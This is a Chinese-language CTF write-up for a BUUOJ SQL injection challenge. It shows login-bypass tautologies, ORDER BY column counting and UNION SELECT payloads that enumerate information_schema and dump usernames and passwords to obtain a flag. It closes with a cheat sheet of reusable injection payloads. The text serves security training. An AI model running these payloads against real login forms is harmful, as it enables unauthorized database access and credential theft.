题目地址:https://buuoj.cn/challenges
解题思路
第一步:进入题目,两栏输入框,使用全真语句进行测试
用户名输入a' or '1'='1
密码输入b' or '1'='1
,出现一个字符串,提交flag提示错误,说明这个字符串不是flag
第二步:查看是否存在堆叠注入
在用户名和密码都输入admin';show tables;
发现不存在堆叠注入。
第三步:使用order by确定回显点
-
在用户名一栏输入
1' order by 3#
,密码一栏输入1,提交无异常。
-
在用户名一栏输入
1' order by 4#
,密码一栏输入1,提交发现异常。
结论:可以显示3个字段
第四步:使用union select获取数据
-
在用户名一栏输入
1' union select 1,2,3#
,密码输入1进行试探,发现在2,3点出显示数据
-
对表名进行爆破,用户名一栏输入
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
密码一栏输入1,显示出表名。
-
对字段名进行爆破,输入
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
,显示出三个字段名
-
输入
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
显示数据,发现flag:flag{17de2610-1f0f-4623-a20a-d785d85b4279}
sql语法
- order by 3#用于确定几个字段
- union select 1,2,3#用于确定回显点
- union select 1,2,database()#用于确定当前数据库名称
- union select 1,2,group_concat(schema_name) from information_schema.schemata#用于查看所有数据库名称
- union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#用于都确定表名
- 1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘l0ve1ysq1’#用于确定字段名
- 1’ union select 1,2,group_concat(id,username,password) from (databasename.tablename)#输出数据